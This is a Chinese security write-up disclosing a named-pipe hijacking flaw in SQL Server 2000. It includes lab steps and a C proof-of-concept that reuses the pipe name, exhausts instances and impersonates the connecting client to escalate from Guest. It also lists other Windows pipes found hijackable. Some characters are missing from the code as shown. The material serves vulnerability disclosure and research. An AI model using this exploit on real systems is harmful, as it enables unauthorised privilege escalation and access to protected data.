作者：FLASHSKY
SITE：WWW.XFOCUS.NET
郵件：flashsky@xfocus.org
SQL SERVER 2000通訊中，允許使用有名管道來進(jìn)行通訊，一般情況下是如此命名的：
默認(rèn)實(shí)例：\\.\pipe\sql\query
命名實(shí)例：\\.\pipe\MSSQL$instancename\sql\query
也可以通過1434 UDP進(jìn)行查詢獲得這個(gè)管道名稱
但是由于SQL SERVER 2000對(duì)于這個(gè)管道的ACL設(shè)置為NULL，導(dǎo)致任何用戶的權(quán)限都可以對(duì)這個(gè)管道進(jìn)行劫持，以前的劫持都是利用先停掉服務(wù)，再建立這個(gè)名字管道，然后再啟動(dòng)服務(wù)來復(fù)用自己已經(jīng)建立了名字的管道，但實(shí)際上SQL SERVER 2000會(huì)判斷是否已有同名管道，然后會(huì)取別的名字，而且低級(jí)權(quán)限的用戶也啟動(dòng)和停止不了服務(wù)（除非是利用一些漏洞），但是實(shí)際上對(duì)管道的測(cè)試卻發(fā)現(xiàn)：如果ACL設(shè)置成NULL的話，即使是后命名的管道，也可以劫持先命令的管道，只需要簡(jiǎn)單復(fù)用管道，然后自己建立幾個(gè)管道的連接不釋放（具體建立幾個(gè)估計(jì)和真正的管道
建立時(shí)的實(shí)例個(gè)數(shù)有關(guān)，如在我的測(cè)試下，\\.\pipe\sql\query只需要建立1個(gè)接可以劫持了，而\\.\pipe\lsass則需要4-5個(gè)之后才能劫持。不過\\.\pipe\lsass的ACL只能是管理員才能進(jìn)行劫持）
如果攻擊者復(fù)用了同名管道以后，建立起幾個(gè)不釋放的管道（消耗掉了正常管道的實(shí)例），然后再有客戶發(fā)起的管道連接就進(jìn)入了攻擊者程序的管道監(jiān)聽流程，剩下的就是大家都知道的利用模擬函數(shù)獲得發(fā)起者權(quán)限的老生常談了：
下面就是一個(gè)簡(jiǎn)單的例子，實(shí)現(xiàn)對(duì)SQL SERVER 2000管道通訊的劫持
環(huán)境：SQL SERVER 2000+SP2
WIN2000 SERVER中文版+SP3
測(cè)試流程：
1。先建立SQL 服務(wù)器允許管道通訊，和集成WINDOWS 驗(yàn)證，添加一個(gè)具備高權(quán)限的允許SQL SERVER登陸的WINDOWS本機(jī)帳戶，啟動(dòng)SQL SERVER服務(wù)
2。C盤下建立一個(gè)TEST.TXT文件，設(shè)置ACL為GUEST全部拒絕，其他人都許可
3。在另外一臺(tái)機(jī)器B上，以添加的可以登陸SQL SERVER的服務(wù)器帳戶登陸，然后設(shè)置客戶端網(wǎng)絡(luò)庫(kù)只為管道（如果有多個(gè)，可能就會(huì)是隨機(jī)選一個(gè)連接，而不肯定是管道進(jìn)行通訊了）
4。然后用SQL SERVER企業(yè)管理器建立一個(gè)SQL SERVER的連接，使用集成WINDOWS驗(yàn)證
5。SQL SERVER這邊的機(jī)器進(jìn)入GUEST帳戶運(yùn)行下面C代碼的程序，會(huì)顯示先無法打開TEST.TXT文件，然后進(jìn)行劫持，等待客戶端管道連接
6。在機(jī)器B上，連接SQL SERVER，然后主機(jī)A的程序就會(huì)截獲這個(gè)管道扮演高權(quán)限登陸用戶，然后可以打開先沒權(quán)限打開的文件。
當(dāng)然這個(gè)攻擊本身實(shí)際的意義可能不大，因?yàn)楣烙?jì)現(xiàn)在SQL SERVER用管道建立通訊的比較少，而且在都允許的情況下，一般會(huì)主動(dòng)選擇TCP方式進(jìn)行連接，但同時(shí)說明了：一個(gè)缺乏很好ACL保護(hù)的管道，也可以用后發(fā)復(fù)用來進(jìn)行劫持，這就減少了很多需要先停掉服務(wù)或預(yù)先預(yù)測(cè)的難題，在編寫服務(wù)器端管道應(yīng)用的時(shí)候也必須小心。
SQL SERVER 2000劫持代碼
#include windows.h>
#include winbase.h>
#include stdio.h>
#include stdlib.h>
void main()
{
HANDLE pipea;
FILE * fp;
DWORD ret;
DWORD num;
HANDLE pipeb[100];
int i;
int dwSize ;
char szUser[256];
DWORD dwNumber = 0;
//先的測(cè)試，在GUEST權(quán)限下無法打開此文件
fp = fopen("C:\\test.txt","w");
if(fp==NULL)
printf("now you don't open file;\n");
//建立起一個(gè)同名管道，復(fù)用已存在的SQL SERVER的
pipea = CreateNamedPipe("\\\\.\\pipe\\sql\\query",
PIPE_ACCESS_DUPLEX,
PIPE_TYPE_MESSAGE|PIPE_WAIT,
100,
2048,
2048,
NMPWAIT_USE_DEFAULT_WAIT,
NULL);
if(pipea ==INVALID_HANDLE_VALUE)
{
ret = GetLastError();
printf("error in createnamedpipe!code=%d\n",ret);
return;
}
//損耗掉其他正常實(shí)例
if(WaitNamedPipe("\\\\.\\pipe\\sql\\query",NMPWAIT_WAIT_FOREVER)==0)
{
printf("no this pipe\n");
return;
}
//可以調(diào)整個(gè)數(shù)，SQL SERVER只需要調(diào)整一個(gè)就可以了
for(i=0;i1;i++)
{
Sleep(20);
if((pipeb[i]=CreateFile("\\\\.\\pipe\\sql\\query",GENERIC_WRITE|GENERIC_READ,0,(LPSECURITY_ATTRIBUTES)NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,(HANDLE)NULL))==INVALID_HANDLE_VALUE)
{
printf("open pipe failed\n");
return;
}
//WriteFile(pipeb[i],"test1",5,num,NULL);
//WriteFile(pipeb[i],"test2",5,num,NULL);
}
//然后等待連接
ConnectNamedPipe (pipea, NULL);
ReadFile(pipea, (void *) dwNumber, 4, dwSize, NULL);
//模擬連接進(jìn)來的用戶
ImpersonateNamedPipeClient (pipea);
dwSize = 256;
//獲得用戶信息
GetUserName(szUser, dwSize);
printf ("Impersonating: %s\n", szUser);
//然后再測(cè)試是否能打開這個(gè)文件，證明確實(shí)提升了權(quán)限
fp = fopen("C:\\test.txt","w");
if(fp!=NULL)
printf("now you can open file\n");
DisconnectNamedPipe(pipea);
CloseHandle(pipea);
for(i=0;i1;i++)
CloseHandle(pipeb[i]);
return;
}
補(bǔ)充：
所有管道都有這個(gè)漏洞，就是看ACL能否允許你復(fù)用，只要能復(fù)用就可以
如//./pipe/lsass 我都可以劫持，但是他的ACL定義成只能administrator進(jìn)行劫持
目前測(cè)試了一下默認(rèn)的一些管道基本ACL設(shè)置好好，不允許低級(jí)權(quán)限用戶復(fù)制，但SQL的管道顯示ACL設(shè)置的很差
可能更多服務(wù)或者其他的第三方的服務(wù)中存在這樣沒有很好ACL保護(hù)的管道，那么就意味著后復(fù)用也可以劫持成功
下面是我開啟了所有默認(rèn)的WIN的服務(wù)，然后獲取的系統(tǒng)管道測(cè)試的結(jié)果（沒有開啟終端服務(wù)，我機(jī)器沒裝，裝了終端服務(wù)的可以測(cè)一下），另外也不能說沒有意義，我前面看見一篇文章還專門推薦用集成驗(yàn)證加管道通訊獲得更安全的SQL SERVER呢，嘿嘿
Pipe name (Number of instances, Maximum instances)
InitShutdown (2, -1)---------------可以在ADMIN下劫持
net\NtControlPipe5 (1, 1)
llsrpc (2, -1) ---------------可以在ADMIN下劫持
000001e8.000 (2, -1) -----------可以在ADMIN下劫持
net\NtControlPipe8 (1, 1)
net\NtControlPipe9 (1, 1)
ProfMapApi (2, -1)--------------可以在ADMIN下劫持
epmapper (2, -1)----------------可以在ADMIN下劫持
WMIEP_454 (2, -1)---------------可以在ADMIN下劫持------GUEST用戶可劫持
WMIEP_444 (2, -1)---------------可以在ADMIN下劫持------GUEST用戶可劫持
net\NtControlPipe11 (1, 1)
WMIEP_3c8 (2, -1)---------------可以在ADMIN下劫持
net\NtControlPipe12 (1, 1)
net\NtControlPipe13 (1, 1)
nddeapi (2, -1)-----------------可以在ADMIN下劫持------GUEST用戶可劫持
NetDDE (1, 1) 返回所有管道實(shí)例都忙的錯(cuò)誤信息，不知道是否ACL設(shè)置許可復(fù)用
net\NtControlPipe14 (1, 1)
Winsock2\CatalogChangeListener-e8-0 (1, 1)-----------------可以在ADMIN下劫持
net\NtControlPipe15 (1, 1)
Winsock2\CatalogChangeListener-574-0 (1, 1)-----------------可以在ADMIN下劫持
WMIEP_640 (2, -1)-----------------可以在ADMIN下劫持
Winsock2\CatalogChangeListener-640-0 (1, 1)-----------------可以在ADMIN下劫持
net\NtControlPipe25 (1, 1)
WMIEP_6f0 (2, -1)-----------------可以在ADMIN下劫持
sql\console (1, -1)---------------可以在ADMIN下劫持------GUEST用戶可劫持
SQL\QUERY (1, -1)-----------------可以在ADMIN下劫持------GUEST用戶可劫持
net\NtControlPipe26 (1, 1)
tsx_listener (1, 1) 返回所有管道實(shí)例都忙的錯(cuò)誤信息，不知道是否ACL設(shè)置許可復(fù)用
winreg (2, -1)-----------------可以在ADMIN下劫持
Winsock2\CatalogChangeListener-6f0-0 (1, 1)-----------------可以在ADMIN下劫持
其中在GUEST權(quán)限下可劫持的有
WMIEP_454 (2, -1)---------------可以在ADMIN下劫持------GUEST用戶可劫持
WMIEP_444 (2, -1)---------------可以在ADMIN下劫持------GUEST用戶可劫持
nddeapi (2, -1)-----------------可以在ADMIN下劫持------GUEST用戶可劫持
sql\console (1, -1)---------------可以在ADMIN下劫持------GUEST用戶可劫持
SQL\QUERY (1, -1)-----------------可以在ADMIN下劫持------GUEST用戶可劫持
SQL 的就不說了，不過sql\console這個(gè)管道用于什么方面還不清楚，如果有默認(rèn)的一些用途的話，估計(jì)也是一個(gè)點(diǎn)。
nddeapi的基本存在nddeapi的應(yīng)用的話就可以發(fā)生
WMI的就難點(diǎn)，看這樣子是隨著發(fā)展每個(gè)連接都會(huì)新建起來的，那樣后復(fù)用作用就不大，只能采用預(yù)測(cè)名字的方法提前復(fù)用來攻擊，但是奇怪的是其權(quán)限是不同的，有些WMI的不能GUEST復(fù)用，有些又可以，有時(shí)間了具體測(cè)試一下WMI客戶與服務(wù)器之間連接產(chǎn)生的管道通訊的情況，或許也是走一個(gè)默認(rèn)的管道名，說不定就可以攻擊了呢，：）
